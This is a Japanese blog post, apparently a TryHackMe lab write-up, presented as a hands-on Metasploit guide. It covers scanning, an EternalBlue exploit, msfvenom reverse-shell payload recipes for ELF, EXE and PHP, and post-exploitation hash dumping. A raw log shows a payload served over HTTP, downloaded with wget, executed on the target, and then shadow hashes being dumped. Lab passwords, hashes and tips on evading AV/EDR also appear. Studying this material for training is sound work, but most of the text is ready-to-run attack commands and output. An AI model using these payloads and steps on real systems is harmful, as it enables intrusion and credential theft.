1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Metasploit実践ガイド:スキャン → データベース → 脆弱性診断 → 侵入 → msfvenom

Last updated at Posted at 2025-11-01

はじめに

msfconsole 上でのポートスキャン、DB(workspace)による結果管理、低コストな脆弱性スキャン、実際の侵入とセッション運用、そして msfvenom でのペイロード生成・ハンドリングまでを、現場でそのまま使える手順とコマンドでまとめました。


1. 準備と前提

  • 攻撃側: AttackBox(もしくは自身の Kali 等)
  • 被攻撃側: TryHackMe 提供ターゲット(例の出力は記事中に併記)
  • ことばの約束:
    • RHOSTS: スキャン対象
    • LHOST/LPORT: 逆接続を受ける攻撃側の待受
    • 参考ワードリスト:
      /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt

2. スキャン(Recon)

2.1 Metasploit でのポートスキャン

msf6 > search portscan
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options
# 主要オプション
# CONCURRENCY: 1ホスト内の同時ポート数
# PORTS: スキャン対象 (例: 1-10000)
# RHOSTS: 対象ホスト/範囲
# THREADS: 同時ホスト数

nmap をコンソールから直接叩くことも可能(速さ優先時):

msf6 > nmap -sS -p- 10.201.0.33

例(実測): 開いているポートは 5(21, 22, 139, 445, 8000)

2.2 UDP サービス当たり判定(速攻)

msf6 > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 10.201.41.170
msf6 auxiliary(scanner/discovery/udp_sweep) > run
# NetBIOS 137/udp などの即答系を素早く同定

2.3 SMB/NetBIOS など “おいしい”面の即確認

# SMB バージョン指紋
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.201.41.170
msf6 auxiliary(scanner/smb/smb_version) > run

# NetBIOS 名(役割推測に有効)
msf6 > use auxiliary/scanner/netbios/nbname
msf6 auxiliary(scanner/netbios/nbname) > set RHOSTS 10.201.0.33
msf6 auxiliary(scanner/netbios/nbname) > run
# 例: NetBIOS 名 = ACME IT SUPPORT

2.4 HTTP バナー(ポート 8000 の素性確認)

msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) > set RPORT 8000
msf6 auxiliary(scanner/http/http_version) > set RHOSTS 10.201.0.33
msf6 auxiliary(scanner/http/http_version) > run
# 例: webfs/1.21

3. Metasploit データベース活用(Workspace)

複数ターゲットを誤爆なく回すなら DB が効きます。

3.1 初期化と状態確認(AttackBox は済)

# 初回のみ(root 以外で実行するのがポイント)
systemctl start postgresql
sudo -u postgres msfdb init

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

3.2 ワークスペース運用

msf6 > workspace -a tryhackme
msf6 > workspace tryhackme

3.3 スキャン結果の自動保存

msf6 > db_nmap -sV -p- 10.10.12.229
msf6 > hosts
msf6 > services
# services -S netbios などでサービス横断検索も可

hosts -R で直近スキャンのアドレスを RHOSTS に即投入:

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > hosts -R
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

4. 低コストの脆弱性スキャン

サービスを掴んだら searchinfo → 軽量スキャナで当て勘チェック。

4.1 VNC の例

msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > info
# RHOSTS, PASS_FILE 等を指定し当たりを拾う

4.2 SMTP オープンリレー確認

msf6 > use auxiliary/scanner/smtp/smtp_relay
msf6 auxiliary(scanner/smtp/smtp_relay) > info
# Provided by: Campbell Murray, xistence <xistence@0x90.nl>

5. 侵入(Exploit)とセッション運用

5.1 EternalBlue(MS17-010)の例(Windows 7 SP1 x64)

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > show payloads
msf6 exploit(...) > set payload generic/shell_reverse_tcp
msf6 exploit(...) > set LHOST <attacker_ip>
msf6 exploit(...) > set RHOSTS 10.201.54.198
msf6 exploit(...) > run

セッション運用:

# 一覧/操作
msf6 > sessions
msf6 > sessions -i 1   # 対話
Ctrl+Z → y             # 背景化
msf6 > sessions -u 1   # シェル→メタプリに昇格 (postでも可)

シェルから Meterpreter への昇格(post モジュール):

msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(...) > set SESSION 2
msf6 post(...) > set LHOST <attacker_ip>
msf6 post(...) > set LPORT 4433
msf6 post(...) > run

msf6 > sessions -i 3
meterpreter > getuid
# 例: NT AUTHORITY\SYSTEM
meterpreter > hashdump
# NTLM は “ユーザー:RID:LM:NT::” の 3・4フィールド目が核心
# 例: pirate の NTLM = 8ce9a3ebd1647fcc5e04025019f4b875

実例(CTF 問題)

  • NetBIOS 名: ACME IT SUPPORT
  • 8000/tcp: webfs/1.21
  • SMB ユーザー penny のパスワード: leo1234
  • flag.txt 内容: THM-5455554845

6. msfvenom: ペイロード生成とハンドラ

6.1 使い方の要点

  • -p でペイロード、LHOST/LPORT 指定、-f で出力形式(elf/exe/raw/php/asp など)。
  • エンコーダ(-e)はバイパス目的ではない。基本は不要。
  • 逆接続型は exploit/multi/handler で受ける。

6.2 代表レシピ

# Linux ELF + Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<AIP> LPORT=<LPORT> -f elf > rev_shell.elf

# Windows EXE + Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<AIP> LPORT=<LPORT> -f exe > rev_shell.exe

# PHP(raw。<?php ~ ?> の整形が必要)
msfvenom -p php/meterpreter_reverse_tcp LHOST=<AIP> LPORT=<LPORT> -f raw > rev.php

ハンドラ待受:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <AIP>
msf6 exploit(multi/handler) > set LPORT <LPORT>
msf6 exploit(multi/handler) > run

7. 実行例 — Linuxターゲットでの Meterpreter 攻撃とハッシュ取得

攻撃者マシン(AttackBox)から対象VMに対して以下を実行し、meterpreter セッションを確立、ポストエクスプロイトモジュールでローカルユーザのパスワードハッシュを取得した。最終的に取得した「もう1人のユーザ」のハッシュを特定する。

  • ペイロード生成:linux/x86/meterpreter/reverse_tcp を ELF 形式で作成
  • 転送:HTTP サーバ経由でターゲットへダウンロード(wget
  • ハンドラ:exploit/multi/handler で待受け → セッション確立
  • ポストエクスプロイト:post/linux/gather/hashdump を実行して /etc/shadow 相当のハッシュを取得

7.1 生成 & 配布

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.201.121.187 LPORT=1234 -f elf > rev_shell.elf
python3 -m http.server 9000  # 攻撃側で配信
# ターゲット側:
wget http://10.201.121.187:9000/rev_shell.elf
chmod +x rev_shell.elf && ./rev_shell.elf

7.2 受信 & 事後

# 攻撃側ハンドラで受信済
[*] Meterpreter session 1 opened ...

# ハッシュダンプ(post)
msf6 > use post/linux/gather/hashdump
msf6 post(...) > set SESSION 1
msf6 post(...) > run
# 例(他ユーザーのハッシュ):
# murphy:$6$qK0Kt4UO$HuCrlOJGbBJb5Av9SL7rEzbxcz/KZYFkMwUqAE0ZMDpNRmOHhPHeI2JU3m9OBOS7lUKkKMADLxCBcywzIxl7b.:1001:1001::/home/murphy:/bin/sh
# claire:$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0:1002:1002::/home/claire:/bin/sh

8. 運用上のTips(現場即戦力)

  • スキャン最適化: THREADS/CONCURRENCY/JITTER/DELAY を場に合わせ調整。誤検知/見落としの両方を減らす。
  • アカロック回避: ブルートフォース系は STOP_ON_SUCCESS=true、速度は BRUTEFORCE_SPEED 控えめ、ABORT_ON_LOCKOUT も確認。
  • DBで可視化: db_nmaphosts/services/notes/vulnsworkspace 分離で、大規模環境でも迷子を防ぐ。
  • セッション衛生: sessions -n で命名、-K/-k で整理。複数並行時は必ず “どれがどれか” 明示。
  • ペイロード選定: まず “通る” 軽量 shell を着弾 → post で昇格(shell_to_meterpreter / sessions -u)。AV/EDR 下では “ファイルレス+プロセスインジェクション” 系に寄せる。
  • ハッシュ読解:
    • Windows: user:RID:LM:NT:::3(LM)/4(NTLM) を見る(LM は大抵 aad3...)。
    • Linux: /etc/shadow$id$salt$hash(例 $6$ は SHA-512)。

まとめ

  • Recon は Metasploit 単体でも十分回る。http_version / udp_sweep / smb_version / nbname 等の軽量モジュールは即効性が高い。
  • DB(workspace) を使うと、複数ターゲットの情報管理・再利用(hosts -R)が劇的に楽になる。
  • 低コストスキャナ で “低い枝” を素早く拾い、Exploitセッション運用post で権限・情報を伸ばす。
  • msfvenom + multi/handler で任意の形式に応じた侵入経路を用意できる(ファイルアップロードやリモート実行の受け口)。
  • 実演では、SMB クレデンシャル取得(leo1234)、EternalBlue 侵入、flag.txt 取得、Linux での ELF Meterpreter & ハッシュダンプまで一通りを再現。

Log

ATTACTER

msf6 > msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.201.121.187 LPORT=1234 -f elf > rev_shell.elf
[*] exec: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.201.121.187 LPORT=1234 -f elf > rev_shell.elf

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes


msf6 > python3 -m http.server 9000
[*] exec: python3 -m http.server 9000

Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
 
 msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show optionos
[-] Invalid parameter "optionos", use "show -h" for more information
msf6 exploit(multi/handler) > show options

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set LHOST 10.201.121.187
LHOST => 10.201.121.187
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.201.121.187:1234 
[*] Sending stage (1017704 bytes) to 10.201.74.117
[*] Meterpreter session 1 opened (10.201.121.187:1234 -> 10.201.74.117:45828) at 2025-10-31 13:54:24 +0000

meterpreter > back
[-] Unknown command: back. Run the help command for more details.
meterpreter > 
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/linux/gather/hashdump
msf6 post(linux/gather/hashdump) > show sessions

Active sessions
===============

  Id  Name  Type                  Information            Connection
  --  ----  ----                  -----------            ----------
  1         meterpreter x86/linu  root @ ip-10-201-74-1  10.201.121.187:1234 -
            x                     17.ec2.internal        > 10.201.74.117:45828
                                                          (10.201.74.117)


mmsf6 post(linux/gather/hashdump) > set session 1
session => 1
msf6 post(linux/gather/hashdump) > run
[+] murphy:$6$qK0Kt4UO$HuCrlOJGbBJb5Av9SL7rEzbxcz/KZYFkMwUqAE0ZMDpNRmOHhPHeI2JU3m9OBOS7lUKkKMADLxCBcywzIxl7b.:1001:1001::/home/murphy:/bin/sh
[+] claire:$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0:1002:1002::/home/claire:/bin/sh
[+] Unshadowed Password File: /root/.msf4/loot/20251031135837_default_10.201.74.117_linux.hashes_833815.txt
[*] Post module execution completed
msf6 post(linux/gather/hashdump) > 


 

TARGET_MARCHINE

root@ip-10-201-121-187:~# ssh murphy@10.201.74.117
The authenticity of host '10.201.74.117 (10.201.74.117)' can't be established.
ECDSA key fingerprint is SHA256:UbdkXBV1iqwR9IWTfivxSTrcnmbftrlSiLk++Kcvj6Q.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.201.74.117' (ECDSA) to the list of known hosts.
murphy@10.201.74.117's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1081-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Oct 31 13:43:29 UTC 2025

  System load:  0.0                Processes:             105
  Usage of /:   15.2% of 29.01GB   Users logged in:       1
  Memory usage: 31%                IPv4 address for eth0: 10.201.74.117
  Swap usage:   0%

 * Ubuntu Pro delivers the most comprehensive open source security and
   compliance features.

   https://ubuntu.com/aws/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Fri Oct 31 13:28:55 2025 from 10.201.137.93
Could not chdir to home directory /home/murphy: No such file or directory
$ sudo su
[sudo] password for murphy: 

root@ip-10-201-74-117:/# wget http://10.201.121.187:9000/rev_shell.elf
--2025-10-31 13:46:09--  http://10.201.121.187:9000/rev_shell.elf
Connecting to 10.201.121.187:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: \u2018rev_shell.elf\u2019

rev_shell.elf       100%[===================>]     207  --.-KB/s    in 0s      

2025-10-31 13:46:09 (42.2 MB/s) - \u2018rev_shell.elf\u2019 saved [207/207]

root@ip-10-201-74-117:/# chmod +x rev_shell.elf 
root@ip-10-201-74-117:/# ./rev_shell.elf 

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?